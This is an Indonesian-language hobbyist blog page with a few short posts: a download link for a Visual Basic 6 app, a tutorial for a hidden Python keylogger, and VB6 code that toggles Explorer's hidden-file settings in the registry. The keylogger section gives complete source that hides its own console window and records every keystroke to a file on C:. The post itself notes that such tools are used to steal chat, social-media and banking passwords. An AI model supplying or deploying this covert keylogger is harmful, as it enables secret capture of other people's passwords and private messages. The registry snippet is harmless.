aplikasi vb 6.0

ne adalah aplikasi buatan saya ndiri source code nya saya dapat dari paman google
visual basic 6.0


moga bermanfaat........:)


http://www.ziddu.com/download/10466856/irfan.rar.html

pyhton keylogger

computer keyboard
Seperti yang kita semua pasti tahu, keylogger adalah sebuah program yang dapat menangkap segala jenis pengguna pada keyboard komputer Anda. Dan saya kira Anda tahu juga bahwa, karena karakteristik ini, keylogger adalah software yang tidak selalu meminjamkan diri untuk menggunakan sah, begitu banyak sehingga hampir semua antivirus memiliki kemampuan yang mengakui adanya sebuah keylogger berjalan di latar belakang.

Bahkan kemudian menginstal keylogger pada komputer yang tidak berhak atau tanpa sepengetahuan pemilik, dikonfigurasi sebagai kejahatan sebenarnya dari invasi privasi: yang disadap data (seperti sesi chatting, nama pengguna dan password Facebook atau 'perbankan di rumah, email, ...) pada kenyataannya biasanya disimpan ke sebuah file log yang pemilik keylogger diambil di lain waktu atau bahkan untuk dikirim secara otomatis melalui email.

Sebuah tujuan murni didaktik kita akan melihat cara membuat keylogger sederhana berfungsi penuh, dengan menggunakan poternza Python. Berikut adalah langkah-langkahnya:


1. Download dan menginstal perangkat lunak yang diperlukan:

Python 2.6: http://www.python.org/
# Pyhook per Python 2.6: pyhook.sourceforge.net

# Python for Windows Extensions: http://sourceforge.net/projects/pywin32/

2. Dari menu Start, pilih "Python 2,6> PythonWin" untuk memulai editor


3. Dari menu pilih "File> New" kemudian pilih "Python Script" dan masukkan "OK"

4. Sisipkan sumber berikut (catatan indentasi) atau alternatif men-download file langsung dari link ini:

import win32api
import win32console
import win32gui

import pythoncom, pyHook

win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)

def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)

if event.Ascii != 0 or 8:
f=open('c:\output.txt','r')
buffer=f.read()
f.close()
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer += keylogs
f.write(buffer)
f.close()

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()



5. Simpan file di c: \ sebagai "logger.py, sehingga PythonWin ketik CTRL + R: keylogger akan datang mulai di latar belakang dan akan tetap berjalan hingga berkas log" C: output.txt \ "segalanya akan mengetik pada keyboard.

visual basic 6.0 tutorial

buat seperti ini........

ne kode nya:


'perintah untuk melihat file system
Private Sub Lihat()
On Error Resume Next
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 1
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 1
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 0
MsgBox "ReFrEsH"
End Sub

'perintah untuk menyembunyikan file system
Private Sub Sembunyi()
On Error Resume Next
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden", 0
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0
RegDword "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
MsgBox "ReFrEsH"
End Sub

'fungsi untuk merubah nilai pada registry
Function RegDword(HiveAndKey As String, Value As Integer)
Dim newbie As Variant
Set newbie = CreateObject("Wscript.Shell")
newbie.regwrite HiveAndKey, Value, "REG_DWORD"
End Function

Private Sub cmdKeluar_Click()
MsgBox "HaCkEr78_yU"
'keluar
Unload Me
End Sub

Private Sub cmdLihat_Click()
'memanggil perintah lihat
Call Lihat
End Sub

Private Sub cmdSembunyi_Click()
'memanggil perintah sembunyi
Call Sembunyi
End Sub

Private Sub Command4_Click()
If Text1.Text = "irfan" Then
cmdLihat.Enabled = True
cmdSembunyi.Enabled = True
End If
MsgBox "BeRhAsIl", vbOKOnly
End Sub

Private Sub Command5_Click()
MsgBox "dIrAhAsIaKaN"
End Sub

coba lo .....variasi pasti cantik......